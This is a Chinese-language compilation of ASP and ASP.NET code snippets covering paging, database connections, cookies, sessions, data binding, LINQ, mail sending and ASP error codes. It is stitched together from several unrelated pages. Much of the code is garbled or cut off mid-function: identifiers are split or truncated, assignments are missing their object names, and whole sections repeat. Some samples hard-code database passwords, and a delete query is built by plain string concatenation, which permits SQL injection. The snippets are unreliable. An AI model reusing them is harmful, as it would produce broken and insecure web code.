asp代码参考
常用ASP代码大全
常用ASP代码大全1.获得系统时间:<%=now()%>2. 取得来访用的IP:<%=request.serverVariables("remote_host")%>3.获得系统,浏览器版本:<script>window.document.write(" 版本:"+navigator.appName+navigator.appVersion+" browser.")</script>4.去除IE混动条:<body scroll="no"><body style="overflow-y:hidden">5.进入网站,跳出广告:<script language="javascript"><!--<!-- 注意更改文件所在路径-->window.open(''",'''',''height=200,width=300,top=0,left=30'');// --></script>6.随机数:<%randomize%><%=(int(rnd()*n)+1)%>N 为可改变数7.向上混动代码:<marquee direction="up" scrolldelay="200" style="font-size: 9pt; color: #FF0000;line-height: 150%; font-style:italic; font-weight:bold" scrollamount="2" width="206"height="207" bgcolor="#FFFF00">Unix中文站</marquee>8.自动关闭网页:<script LANGUAGE="javascript"><!--setTimeout(''window.close();'', 10000); //60秒后关闭// --> </script><p align="center">本页10秒后自动关闭,请注意刷新页面</p>9.随机背景音乐:<%randomize%><bgsoundsrc="/qz.q/mids/<%=(int(rnd()*60)+1)%>.mid"loop="-1"> 可以修改数字,限制调用个数,我这里是60个.10.自动刷新本页面:<script><!--var limit="0:10"if (document.images){var parselimit=limit.split(":")parselimit=parselimit[0]*60+parselimit[1]*1 }function beginrefresh(){if (!document.images)returnif (parselimit==1)window.location.reload()else{parselimit-=1curmin=Math.floor(parselimit/60)cursec=parselimit%60if (curmin!=0)curtime=curmin+"分"+cursec+"秒后重刷本页!"elsecurtime=cursec+" 秒后重刷本页!"window.status=curtimesetTimeout("beginrefresh()",1000) } }window.onload=beginrefreshfile://--></script>11.ACCESS数据库连接:<%option explicitdim startime,endtime,conn,connstr,dbstartime=timer()'更改数据库名字db="data/dvBBS5.mdb"Set conn = Server.CreateObject("ADODB.Connection")connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)'如果你的服务器采用较老版本Access驱动,请用下面连接方法'connstr="driver={Microsoft Access Driver (*.mdb)};dbq=" & Server.MapPath(db)conn.Open connstrfunction CloseDatabaseConn.closeSet conn = NothingEnd Function %>12.SQL数据库连接:<%option explicitdim startime,endtime,conn,connstr,dbstartime=timer()connstr="driver={SQLServer};server=HUDENQ-N11T33NB;uid=sa;pwd=xsfeihu;database=dvbbs"Set conn = Server.CreateObject("ADODB.Connection")conn.Open connstrfunction CloseDatabaseConn.closeSet conn = NothingEnd Function%>13.用键盘打开网页代码:<script language="javascript">function ctlent(eventobject){ if((event.ctrlKey && window.event.keyCode==13)(event.altKey && window.event.keyCode==83)){ window.open('网址','','') } }</script>这里是Ctrl+Enter和Alt+S的代码自己查下键盘的ASCII码再换就行14.让层不被控件复盖代码:<div z-Index:2><object ***></object></div> #前面<div z-Index:1><object ***></object></div> #后面<div style="position:absolute; top:40;width:400px; height:95px;z-index:2"><table height=100% width=100% bgcolor="#ff0000"><tr><td height=100% width=100%></td></tr></table><iframe width=0 height=0></iframe></div><div style="position:absolute; top:50;width:200px; height:115px;z-index:1"><iframe height=100% width=100%></iframe></div>。
ASP错误代码中文说明大全
ASP 0234 无效的包含指令
ASP 0235 Server.Transfer 错误
ASP 0236 无效的 Cookie 规格
ASP 0237 无效的 Cookie 规格
ASP 0162 不能修改 Cookie
ASP 0163 逗号的使用不正确
ASP 0164 无效的超时值
ASP 0165 SessionID 错误
ASP 0166 未初始化的对象
ASP 0167 会话初始化错误
ASP 0244 无法启用会话状态
ASP 0245 代码页值的混合使用
ASP 0246 并发用户太多。请稍后重试。
ASP 0247 无效的 BinaryRead 参数。
ASP 0248 脚本未经事务处理。此 ASP 文件必须经过事务处理以使用 ObjectContext 对象。
ASP 0168 不允许的对象使用方式
ASP 0169 丢失对象信息
ASP 0170 删除会话错误
ASP 0171 缺少路径
ASP 0172 无效路径
ASP 0173 无效 Path 字符
ASP 0174 无效 Path 字符
ASP 0238 丢失特性值
ASP 0239 无法处理文件
ASP 0240 脚本引擎异常
ASP 0241 CreateObject 异常
ASP 0242 查询 OnStartPage 接口异常
ASP 0243 Global.asa 中包含无效的 METADATA 标记
ASP 0118 丢失对象关闭标记
ASP 0119 丢失 Classid 或 Progid 特性
asp 代码 大全
asp代码大全[ 2006-5-5 22:37:49 ]以下代码由stone编写,如果转载请注明出处和作者,谢谢合作!(/)代码还有不足之处,请各位指出共同研究!所有代码的原文件下载:/uploadfile/2006-5/55682958.rar--------------------------------------------1,连接数据库代码文件名称conn.asp 所有访问数据库的文件都调用此文件<!--#i nclude file="Conn.as p"-->---------------------------------------------- 2。
增加纪录--------------------------------------3.显示记录page=1end ifn=rs.pagecountif page>n thenpage=clng(n)end ifif rs.eof thenresponse.write"<font color=#FF0000>暂没有信息!</font>"'response.endelsers.absolutepage=pageend ifi=0do while not rs.eof and i<rs.pagesize'do while not rs.eof%>--------如果是每行显示n个纪录开始----------------------------<%do while not rs.eof and i<rs.pagesize'do while not rs.eofif i mod 5=0 then '--------设置每行显示的个数response.write "<tr>"end if%>--------如果是每行显示n个纪录结束-----------------------------<%=rs("id")%><% rs.movenexti=i+1loop%><%response.write("共"&rs.recordcount&"条信息 ")if page<>1 thenresponse.write("<a href="/stblog/?page=1" title='首页'>首页</a> ")elseresponse.write("首页 ")end ifif page>1 thenresponse.write("<a href="/stblog/?page=""&page-1&" title='上一页'>上一页</a> ")----------------------------------------------4。
20个经典ASP例子
1.如何用Asp判断你的网站的虚拟物理路径答:使用Mapp ath方法< p align="center" > < font size="4" face="Arial" > < b > The Physic al path to this virtua l websit e is:< /b > < /font >< font color="#FF0000" size="6" face="Arial" >< %= Server.MapPat h("\")% >< /font > < /p >2.我如何知道使用者所用的浏览器?答:使用theReques t object方法strBro wser=Reques t.Server Varia bles("HTTP_U SER_A GENT")If Instr(strBro wser,"MSIE") < > 0 ThenRespon se.redire ct("ForMSI EOnly.htm")ElseRespon se.redire ct("ForAll.htm")End If3.如何计算每天的平均反复访问人数答:解决方法< % startd ate=DateDi ff("d",Now,"01/01/1990")if strdat e < 0 then startd ate=startd ate*-1avgvpd=Int((usercn t)/startd ate) % >显示结果< % respon se.write(avgvpd) % >that is it.this page have been viewed sinceNovemb er 10,19984.如何显示随机图象< % dim p,ppic,dpicppic=12random izep=Int((ppic*rnd)+1)dpic="graphi x/random pics/"&p&".gif"% >显示< img src=" < %=dpic% >" >5.如何回到先前的页面答: < a href=" < %=reques t.server Varia bles("Http_R EFERE R")% >" >preivo us page < /a >或用图片如: < img src="arrowb ack.gif" alt="< %=reques t.server Varia bles("HTTP_R EFERE R")% >" >6.如何确定对方的IP地址答: < %=Reques t.server Varia bles("REMOTE_ADDR)% >7.如何链结到一副图片上答: < % @Langua ges=vbs cript% >< % respon se.expire s=0strima genam e="graphi x/errors/errori amge.gif"respon se.redire ct(strima genam e)% >8.强迫输入密码对话框答:把这句话放载页面的开头< % respon se.status="401 not Author ized"respon se.end% >9.如何传递变量从一页到另一页答:用 HIDDEN类型来传递变量< % form method="post" action="mynext page.asp" >< % for each item in reques t.form % >< inputnamee=" < %=item% >" type="HIDDEN"value=" < %=server.HTMLEn code(Reques t.form(item)) % >" >< % next % >< /form >10.为何我在 asp 程序内使用msgbox,程序出错说没有权限答:由于 asp 是服务器运行的,如果可以在服务器显示一个对话框,那么你只好等有人按了确定之后,你的程序才能继续执行,而一般服务器不会有人守着,所以微软不得不禁止这个函数,并胡乱告诉你 (:) 呵呵) 没有权限。
asp常用代码集锦
ASP中常用代码Cookie的用法://Cookie的用法HttpCookie cookie = new HttpCookie("first"); //第一个Cookie cookie.Expires = DateTime.Now.AddDays(30); //设置Cookie的消失时间,时间为30天cookie.Values["name"] = "lsc"; //设置Cookie的值//name <-->lsc为键值对cookie.Values["password"] = "12345";Response.Cookies.Add(cookie); //将指定的Cookie保存到本机//获取Cookie的值HttpCookie c = (HttpCookie)Request.Cookies["first"];Response.Write(c.Values["name"] + "<br/>");Response.Write(c.Values["password"]);Application 的用法:写在Gloal.asaxvoidApplication_Start(object sender, EventArgs e){// Code that runs on application startup//服务器启动时运行的代码//关于计数器的使用//在此初始化计数器Application["count"] = 0; //当服务器启动时调用,该网站访问数为0开始}写在页面端protected void Page_Load(object sender, EventArgs e) {try{//取出application中的值|Application.Lock();int count = (int)Application["count"];count++;Application["count"] = count; //将此返回服务?器Response.Write("你是第+Application["count"] + "位访客¨a");Application.UnLock();}catch (Exception ex){Response.Write(“<script>alert(“+ex.Message+”)</script>”); }}如果写在页面端,则用户刷新一次,访问人数就增加voidSession_Start(object sender, EventArgs e){// Code that runs when a new session is started//在新会话启动时运行的代码//取出application中的值Application.Lock();int count = (int)Application["count"];count++;Application["count"] = count; //将此返回服务器Response.Write("你是第" + Application["count"] + "位访客");Application.UnLock();}将此写在Global.asax中使得页面只有通过重新访问,访问数才能增加,否则不能增加Lock()和UnLock()的意义是必须是一个加完后,另外一个在加Response的用法:Response用于向页面输出内容和实现页面的重定向Response.Write();Resposne.Redirect("网址")Response.Cookies.Add(); 用于添加CookieRequest的用法:Request用于获取表单的值String name=request.queryString["name"];String name=request.from["name"];String name=request.params["name"]; --最常用的一种方法String name=request["name"];Session的用法:(Session中可以传递各种数据类型的数据也可以传递类)Session用于在各个页面之间传递数据首先是将值存放在Session中:Session["name"] = name;Session["password"] = password;然后获取值:string name = (string)Session["name"];string password = (string)Session["password"];###在实际工作中,Session传递的值一般是一个封装类JavaScript中页面自动跳转的方法:将其添加在中即可实现中的自动跳转<SCRIPT LANGUAGE="JavaScript"><!--function redirect() { //跳转页window.location = "Default.aspx";}timer = setTimeout('redirect()', 5 * 1000); //跳转//--></SCRIPT>在中设置密码框即在TextBox中添加TextMode="password" ---利用中自身的TextBox设置密码框添加TextMode属性关于DropDownList的数据绑定:首先在DropDownList中的事件SelectedIndexChanged中添加:this.Image1.ImageUrl = "img/" + this.DropDownList1.SelectedValue.ToString();1、利用图形界面进行数据绑定,详见数据绑定视频2、利用ArrayList容器进行数据绑定,但是只能是5条一下的数据if (!IsPostBack){ArrayList list = new ArrayList();list.Add("1.jpg");list.Add("2.jpg");list.Add("3.jpg");this.DropDownList1.DataSource = list; //指定数据源this.DropDownList1.DataBind();}3、利用数据库操作进行动态的数据绑定(较为正规的用法)//利用数据库操作进行动态数据绑定if (!IsPostBack){stringstrConn = "server=LSC-BD9E16FDC63\\SQLEXPRESS;database=mldn;Uid=china;Pwd=1 2345678";SqlConnectionsqlConn = new SqlConnection(strConn);sqlConn.Open();SqlCommandcmd = new SqlCommand();mandText = "select * from Images";cmd.Connection =sqlConn;SqlDataAdaptersda = new SqlDataAdapter(cmd);DataTabledt = new DataTable();sda.Fill(dt);this.DropDownList1.DataSource = dt;this.DropDownList1.DataTextField = "imgs"; //添加显示给用户的数据this.DropDownList1.DataValueField = "imgs"; //添加传递给服务器的数据this.DropDownList1.DataBind();}在中利用onClientClick()事件调用JavaScript代码而不用onClick()事件在代码后面添加return false 阻止后面的代码执行在判断姓名文本框、密码框等不能为空的判断时,避免没有添加页面仍然跳转则在每一个判断后面添加一上return false,同时在onClientClick()中添加return javaScript方法CheckBoxList的用法:int count = this.CheckBoxList1.Items.Count;for (int index = 0; index <= count; index++){if (this.CheckBoxList1.Items[index].Selected){Response.Write(this.CheckBoxList1.Items[index].Text);}}RadioButtonList的用法:for (int index = 0; index < this.RadioButtonList1.Items.Count; index++){if (this.RadioButtonList1.Items[index].Selected){Response.Write(this.RadioButtonList1.Items[index].Text);}}Data中的Repeater的用法:主要用于分页首先拖动一个Reoeater控件,然后配置数据源在切换到代码视图,添加相应的模板,其中()模板如下:<HeaderTemplate></HeaderTemplate><ItemTemplate></ItemTemplate> --必写<FooterTemplate></FooterTemplate><AlternatingTemplate></AlternatingTeplate> --隔行显示模板,实现隔行的显示方式对应实例:<form id="form1" runat="server"><div><asp:Repeater ID="Repeater1" runat="server" DataSourceID="SqlDataSource1"><HeaderTemplate><table border="1"><tr><td width="100">图片</td><td width="100">值</td></tr></table></HeaderTemplate><ItemTemplate><table border="1"><tr style=" color:Green"><td width="100"><%# Eval("imgs") %></td><td width="100"><%# Eval("imgsValue")%></td></tr></table></ItemTemplate><AlternatingItemTemplate><table border="1"><tr style=" color:Red"><td width="100"><%# Eval("imgs") %></td><td width="100"><%# Eval("imgsValue") %></td></tr></table></AlternatingItemTemplate><FooterTemplate><table border="1"><tr><td colspan="2">这是一个测试程序!!</td></tr></table></FooterTemplate></asp:Repeater><asp:SqlDataSource ID="SqlDataSource1" runat="server" ConnectionString="<%$ ConnectionStrings:mldnConnectionString %>" SelectCommand="SELECT * FROM [Images]"></asp:SqlDataSource><br /><br /><br /><br /></div></form>ASP中的分页:真分页和假分页假分页:using System;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Web;usingSystem.Web.UI;usingSystem.Web.UI.WebControls;usingSystem.Data;usingSystem.Data.SqlClient;public partial class page : System.Web.UI.Page{privateintpageNumber = 0;privateintlineCount;public void pages(){stringstrConn = "server=LSC-BD9E16FDC63\\SQLEXPRESS;database=build;Pwd=12345678;Uid=china";SqlConnection conn = new SqlConnection(strConn);conn.Open();SqlCommandcmd = new SqlCommand();cmd.Connection = conn;mandText = "select * from fangyuan";SqlDataAdaptersda = new SqlDataAdapter(cmd);DataTabledt = new DataTable();sda.Fill(dt);PagedDataSourcepds = new PagedDataSource();pds.DataSource = dt.DefaultView;pds.AllowPaging = true; //是否允许分页pds.PageSize = 2; //指定每页显示多少条数据pds.CurrentPageIndex = pageNumber; //指定显示的页码,用该变量控制翻页this.Repeater1.DataSource = pds;this.Repeater1.DataBind();conn.Close();}protected void Page_Load(object sender, EventArgs e){this.pages();stringstrConn = "server=LSC-BD9E16FDC63\\SQLEXPRESS;database=build;Pwd=12345678;Uid=china";SqlConnection conn = new SqlConnection(strConn);conn.Open();SqlCommandcmd = new SqlCommand();cmd.Connection = conn;mandText = "select count(*) from fangyuan";object o = cmd.ExecuteScalar();lineCount = Convert.ToInt32(o);}protected void LinkButton1_Click(object sender, EventArgs e){try{pageNumber = 0;this.pages();}catch (Exception ex){Response.Write(ex.Message);}}protected void LinkButton2_Click(object sender, EventArgs e){try{if (pageNumber< 0){Response.Write("不能再向上翻页了!");}else{pageNumber -= 1;this.pages();}}catch (Exception ex){Response.Write(ex.Message);}}protected void LinkButton3_Click(object sender, EventArgs e) {try{pageNumber = 0;this.pages();}catch (Exception ex){Response.Write(ex.Message);}}protected void LinkButton4_Click(object sender, EventArgs e) {try{pageNumber = 1;this.pages();}catch (Exception ex){Response.Write(ex.Message);}}protected void LinkButton5_Click(object sender, EventArgs e) {try{pageNumber = 2;this.pages();}catch (Exception ex){Response.Write(ex.Message);}}protected void LinkButton7_Click(object sender, EventArgs e) {try{if (pageNumber == (lineCount - 1)){Response.Write("不能再向下翻页了!");}else{pageNumber += 1;this.pages();}}catch (Exception ex){Response.Write(ex.Message);}}protected void LinkButton8_Click(object sender, EventArgs e) {try{pageNumber = lineCount - 1;this.pages();}catch (Exception ex){Response.Write(ex.Message);}}}DataList的用法:(绑定数据的方式与Repeater相同)与Repeater相比较,DataList的功能更强大,可以实现删除,具体用法如下:DataList绑定数据的两种方式:1、利用图形化界面对数据进行绑定2、动态的对数据进行绑定stringstrConn = "server=LSC-BD9E16FDC63\\SQLEXPRESS;database=build;Pwd=12345678;Uid=china";SqlConnection conn = new SqlConnection(strConn);conn.Open();SqlCommandcmd = new SqlCommand();cmd.Connection = conn;mandText = "select * from fangyuan";SqlDataAdaptersda = new SqlDataAdapter(cmd);DataTabledt = new DataTable();sda.Fill(dt);this.DataList1.DataSource = dt;this.DataList1.DataKeyField = "bianhao"; //指定以何种字段为标准 ---关键this.DataList1.DataBind();conn.Close();删除方法:string bianhao = this.DataList1.DataKeys[e.Item.ItemIndex].ToString(); //用于获取对应的编号 ----关键stringstrConn ="server=LSC-BD9E16FDC63\\SQLEXPRESS;database=build;Pwd=12345678;Uid=china";SqlConnection conn = new SqlConnection(strConn);conn.Open();SqlCommandcmd = new SqlCommand();cmd.Connection = conn;mandText = "delete from fangyuan where bianhao='" + bianhao + "'";cmd.ExecuteNonQuery();conn.Close();每删除一次后对数据进行重新绑定,实现更新DXControls外部控件的使用:在使用DXControls时注册代码(放在<% @page 的下面)<%@ Register Assembly="DXControls" Namespace="DXControls" TagPrefix="cc1" %>在复制<cc1:dxtb id="concentdx" runat="server" height="100px" width="450px"></cc1:dxtb>该段代码到.aspx文件中在使用该控件时,必须在工程中导入Bin文件夹,同时该文件夹中必须存在DXControls.dll文件,还应导入dxtb文件夹,里面包含有相应的文件中验证控件的使用1、RequiredFieldValidator必填项验证,如网络上的*为必填项的实现必须对两个属性进行更改:ControlToValidate指定对哪个控件进行验证ErrorMessage当输入错误时显示的错误信息2、RegularExpressionValidator正则表达式验证,如对密码、邮箱等的验证必须对三个属性进行更改:ControlToValidate指定对哪个控件进行验证ErrorMessage当输入错误时显示的错误信息ValidationExpression写出对应的正则表达式3、RangeValidator数字界限验证,如3-100常见的正则表达式的匹配字符串:\w+([-+.']\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)* 为匹配邮箱地址防止用户未登录就访问页面的代码:<%If(Session(“name”) == null){Response.Redirect(“Login.aspx”);}%>通过Seesion在用户登录时存值,再每一个页面都判断是否存在Session传递的值,已判断用户是否登录,通常传递类Linq的使用:查询操作://读取配置文件tStudentDataClassesDataContext context =new StudentDataClassesDataContext();//取出数据表中的所有内容System.Data.Linq.Table<student> list = context.GetTable<student>();//按照需求查询var query = from student in list select student;//或者语句的使用var query = from Person in context.Persons where Person.id == 1 || =="lsc" select Person;foreach(var student in query){Response.Write(+"<br />");}删除操作:(先查找再删除)PersonDataClassesDataContext context =new PersonDataClassesDataContext();System.Data.Linq.Table<Person> list = context.GetTable<Person>();var delete = from Person in context.Persons where Person.id==1 select Person; foreach (var Person in delete){//删除操作context.Persons.DeleteOnSubmit(Person);}context.SubmitChanges(); //提交操作Response.Write("删除成功");添加数据操作:PersonDataClassesDataContext context =new PersonDataClassesDataContext();System.Data.Linq.Table<Person> list = context.GetTable<Person>();Person p = new Person();p.id = 1; = "flq";p.password = "flq";context.Persons.InsertOnSubmit(p);//添加数据context.SubmitChanges(); //提交操作修改数据操作:PersonDataClassesDataContext context =new PersonDataClassesDataContext();System.Data.Linq.Table<Person> list = context.GetTable<Person>();var update = from Person in context.Persons where Person.id==4 select Person; foreach (var P in update){ = "wms";P.password = "wms";}context.SubmitChanges();利用Linq遍历数组:利用Linq对容器进行操作:如何利用Linq进行降序排列:以“c”结尾长度不大于5的人名。
超精华的asp代码大全
Mid(Request.ServerVariables("SCRIPT_NAME"),(InStrRev(Request.ServerVariables("SCRIPT_NAME")
,"/",-1,1))+1,Len(Request.ServerVariables("SCRIPT_NAME")))
Response.Write "altRow1"
Else
Response.write "altRow2"
End If
%>
●显示字符串前20个字符并在结尾处添加“……”
<%
Dim CutShort
CutShort = rsYourRecordset.Fields.Item("YourField").Value
End If
End function
Public function CompactDatabase(byVal dbFileName,byVal DbVer,byVal SavePath)
'压缩数据库文件
'0 为access 97
'1 为access 2000
On Error resume next
Err.Clear
Exit function
End If
If DbVer=0 Then
call pactDatabase("Provider=Microsoft.Jet.OLEDB.3.51;Data Source=" &
SavePath & dbFileName,"Provider=Microsoft.Jet.OLEDB.3.51;Data
asp常用代码
翻页:<%Set rs = server.CreateObject("Adodb.RecordSet")rs.open sql,c onn,1,1if not rs.eof thenif request("pagenum")="" thenpagenum=1elseif IsNumeric(request("pagenum")) thenpagenum=Cint(request("pagenum"))elsepagenum=1end ifend ifrs.pagesize=40if pagenum<=0 then pagenum=1if pagenum>rs.pagecount then pagenum=rs.pagecount'response.write "["&pagenum&"]"rs.absolutepage=pagenum '转到要查询的页。
for i=1 to rs.pagesize%>循环内容<%rs.movenextif rs.eof then exit fornextelse%>还没记录!<%end if%><%response.write("每页"&rs.pagesize&"项 共"&rs.recordcount&"项 "&pagenum&"/"&rs.pagecount&" ")if 1 < pagenum then '向上翻页response.write("<a href='?pagenum=1'>首页</a> ")response.write("<a href='?pagenum="&pagenum-1&"'>上一页</a> ")elseresponse.write("<font disabled>首页上一页 </font>")end ifif pagenum >= rs.pagecount then '向下翻页response.write("<font disabled>下一页尾页</font> ")else'response.write("<br>rs.pagecount="&rs.pagecount&"<br>pagenum="&pagenum&"<br>")response.write(" <a href='?pagenum="&pagenum+1&"'>下一页</a> ")response.write("<a href='?pagenum="&rs.pagecount&"'>尾页</a> ")end if%>VB回车换行符:vbCrLf是VB中用于表示“回车换行”的字符串常数(长度为2字节),相当于Chr(13)+Chr(10),或者汇编中的DB 0AH,0DH,$由于是常数,所以不会影响速度。
ASP代码大全
邮件方面:CDONTS:<%Set cdomail = Server.CreateObject("CDONTS.NewMail") '建立邮件对象cdomail.Subject = "Mail Subject" '邮件标题cdomail.From = "Sender's Mail" '发件人的地址cdomail.To = "Email will from" '收件人的地址cdomail.Body = "Mail Body" '邮件的内容cdomail.Send '执行发送%>这种方法发送邮件是最简单的,同时也带来一定的问题,就是很少有服务器会开这项服务!我们写程序,一般情况下都是说要代码模块化,这样方便维护,同时也方便移植。
因此,我在这里将这个发邮件的写成一个子程,在调用的时候可以直接调用(当然,如果你高兴写成函数的话也是可以的,这个主要是看个人兴趣):<%'参数说明'Subject : 邮件标题'MailAddress : 发件服务器的地址,如'Email : 收件人邮件地址'Sender : 发件人姓名'Content : 邮件内容'Fromer : 发件人的邮件地址----------------------------Jmail:Sub SendAction(subject, mailaddress, email, sender, content, fromer)Set jmail = Server.CreateObject("JMAIL.SMTPMail") '创建一个JMAIL对象jmail.silent = true 'JMAIL不会抛出例外错误,返回的值为FALSE跟TRUEjmail.logging = true '启用使用日志jmail.Charset = "GB2312" '邮件文字的代码为简体中文jmail.ContentType = "text/html" '邮件的格式为HTML的jmail.ServerAddress = mailaddress '发送邮件的服务器jmail.AddRecipient Email '邮件的收件人jmail.SenderName = sender '邮件发送者的姓名jmail.Sender = fromer '邮件发送者的邮件地址jmail.Priority = 1 '邮件的紧急程序,1 为最快,5 为最慢,3 为默认值jmail.Subject = subject '邮件的标题jmail.Body = content '邮件的内容'由于没有用到密抄跟抄送,这里屏蔽掉这两句,如果您有需要的话,可以在这里恢复'jmail.AddRec ipientBCC Email '密件收件人的地址'jmail.AddRec ipientCC Email '邮件抄送者的地址jmail.Execute() '执行邮件发送jmail.Close '关闭邮件对象End Sub'调用此Sub的例子Dim strSubject,strEmail,strMailAdress,strSender,strContent,strFromerstrSubject = "这是一封用JMAIL发送的测试邮件"strContent = "JMail组件发送测试成功!"strEmail = "runbing@"strFromer = "runbing@"strMailAddress = ""Call SendAction (strSubject,strMailaddress,strEmail,strSender,strContent,strFromer)%><%Set jmail = Server.CreateObject("JMAIL.SMTPMail") '创建一个JMAIL对象jmail.silent = true 'JMAIL不会抛出例外错误,返回的值为FALSE跟TRUEjmail.logging = true '启用使用日志jmail.Charset = "GB2312" '邮件文字的代码为简体中文jmail.ContentType = "text/html" '邮件的格式为HTML的jmail.ServerAddress = "Server Address" '发送邮件的服务器jmail.AddRecipient Email '邮件的收件人jmail.SenderName = "SenderName" '邮件发送者的姓名jmail.Sender = "Email Address" '邮件发送者的邮件地址jmail.Priority = 1 '邮件的紧急程序,1 为最快,5 为最慢,3 为默认值jmail.Subject = "Mail Subject" '邮件的标题jmail.Body = "Mail Body" '邮件的内容jmail.AddRecipientBCC Email '密件收件人的地址jmail.AddRecipientCC Email '邮件抄送者的地址jmail.Execute() '执行邮件发送jmail.Close '关闭邮件对象%>w3 Jmail4.3组件重新设计了其内部结构——使用Message对象代替原来的单一对象Jmail.smtpmail发送邮件,有些方法需要身份验证的(如163、yahoo等),可以用下面的方法解决:<%Set jmail = Server.CreateObject("JMAIL.Message") '建立发送邮件的对象jmail.silent = true '屏蔽例外错误,返回FALSE跟TRUE两值jmail.logging = true '启用邮件日志jmail.Charset = "GB2312" '邮件的文字编码为国标jmail.ContentType = "text/html" '邮件的格式为HTML格式jmail.AddRecipient Email '邮件收件人的地址jmail.From = "Email From for Sender" '发件人的E-MAIL地址jmail.MailServerUserName = "UserName of Email" '登录邮件服务器所需的用户名jmail.MailServerPassword = "Password of Email" '登录邮件服务器所需的密码jmail.Subject = "Mail Subject" '邮件的标题jmail.Body = "Mail Body" '邮件的内容jmail.Prority = 1 '邮件的紧急程序,1 为最快,5 为最慢,3 为默认值jmail.Send("Server Address") '执行邮件发送(通过邮件服务器地址)jmail.Close() '关闭对象%>----------------------------------------------------------------asp的错误集合(这个要看仔细了哟):ActiveServerPages,ASP0126(0x80004005)-->找不到包含文件MicrosoftOLEDBProviderforODBCDrivers(0x80040E21)-->sql语句出错(数据类型不匹配或表名(字段名)错误或表处于编辑状态,或表不存在于conn打开的数据库中) MicrosoftOLEDBProviderforODBCDrivers(0x80040E14)-->sql语句出错(字段名错误,或数据类型不匹配)MicrosoftOLEDBProviderforODBCDrivers(0x80040E07)-->sql语句出错(要插入或更新的字段的类型与变量数据类型不匹配)MicrosoftOLEDBProviderforODBCDrivers(0x80040E57)-->sql语句出错(要插入或更新的数据溢出)MicrosoftOLEDBProviderforODBCDrivers(0x80040E10)-->sql语句出错(update字段名或要更新的数据类型错误)MicrosoftOLEDBProviderforODBCDrivers(0x80004005)-->sql语句出错(要插入或更新的字段的数值不能为空值)MicrosoftOLEDBProviderforODBCDrivers(0x80004005)-->打开数据库出错,没有在指定目录发现数据库MicrosoftOLEDBProviderforODBCDrivers(0x80040E37)-->没有发现表MicrosoftVBscript运行时错误(0x800A000D)-->错误引用rs变量(rs对像已关闭或未定义) MicrosoftVBscript运行时错误(0x800A01C2)-->vbscript脚本错误(vbscript语句出错) MicrosoftVBscript运行时错误(0x800A0006)-->vbscript脚本错误(溢出错误) MicrosoftVBscript编译器错误(0x800A040E)-->缺少loopMicrosoftVBscript编译器错误(0x800A03EA)-->缺少if或endifMicrosoftVBscript编译器错误(0x800A03EE)-->语句未结束(缺少")")MicrosoftVBscript编译器错误(0x800A03F6)-->if语句出错(缺少endif)MicrosoftVBscript运行时错误(0x800A005B)-->缺少setMicrosoftVBscript运行时错误(0x800A0005)-->变量未定义MicrosoftVBscript编译器错误(0x800A03F9)-->if语句缺少thenMicrosoftVBscript编译器错误(0x800A0411)-->dim语句定义错误MicrosoftVBscript编译器错误(0x800A0408)-->sql语句错误ADODB.Recordset(0x800A0BB9)-->sql语句出错(sql语句或conn语句未定义或对一个rs属性进行赋值时发生错误)ADODB.Recordset(0x800A0CC1)-->rs对像出错(rs对像本身不存在或错误地引用了一个不存在的字段名)ADODB.Recordset(0x800A0BCD)-->rs对像出错(记录集中没有记录却对记录集进行操作) ADODB.Recordset(0x800A0E78)-->rs对像出错(记录集不存在,缺少rs.open语句) ADODB.Recordset(0x800A0CC1)-->rs对像出错(引用了一个不存在的字段名)ADODB.Recordset(0x800A0E7D)-->conn定义错误ADODB.Recordset(0x800A0CB3)-->数据库以只读方式打开,无法更新数据ASP 编程中20 个非常有用的例子1.如何用Asp判断你的网站的虚拟物理路径答:使用Mappath方法< p align="center" >< font size="4" face="Arial" >< b >The Physical path to this virtual website is:< /b >< /font >< font color="#FF0000" size="6" face="Arial" >< %= Server.MapPath("\")% >< /font >< /p >2.我如何知道使用者所用的浏览器?答:使用the Request object方法strBrowser=Request.ServerV ariables("HTTP_USER_AGENT")If Instr(strBrowser,"MSIE") < > 0 ThenResponse.redirect("ForMSIEOnly.htm")ElseResponse.redirect("ForAll.htm")End If3.如何计算每天的平均反复访问人数答:解决方法< % startdate=DateDiff("d",Now,"01/01/1990")if strdate< 0 then startdate=startdate*-1avgvpd=Int((usercnt)/startdate) % >显示结果< % response.write(avgvpd) % >that is it.this page have been viewed since November 10,19984.如何显示随机图象< % dim p,ppic,dpicppic=12randomizep=Int((ppic*rnd)+1)dpic="graphix/randompics/"&p&".gif"% >显示< img src="< %=dpic% >" >5.如何回到先前的页面答:< a href="< %=request.serverV ariables("Http_REFERER")% >" >preivous page< /a >或用图片如:< img src="arrowback.gif"alt="< %=request.serverV ariables("HTTP_REFERER")% >" >6.如何确定对方的IP地址答:< %=Request.serverV ariables("REMOTE_ADDR)% >7.如何链结到一副图片上答:< % @Languages=vbs cript % >< % response.expires=0strimagename="graphix/errors/erroriamge.gif"response.redirect(strimagename)% >8.强迫输入密码对话框答:把这句话放载页面的开头< % response.status="401 not Authorized"response.end% >9.如何传递变量从一页到另一页答:用HIDDEN 类型来传递变量< % form method="post" action="mynextpage.asp" >< % for each item in request.form % >< input namee="< %=item% >" type="HIDDEN"value="< %=server.HTMLEncode(Request.form(item)) % >" >< % next % >< /form >10.为何我在asp 程序内使用msgbox,程序出错说没有权限答:由于asp 是服务器运行的,如果可以在服务器显示一个对话框,那么你只好等有人按了确定之后,你的程序才能继续执行,而一般服务器不会有人守着,所以微软不得不禁止这个函数,并胡乱告诉你(:) 呵呵) 没有权限。
常用的ASP代码
常用的ASP代码一、取得用户通过超连接发来的数据(http://localhost/lx1.asp?a=133)或用get方法发来的表单数据。
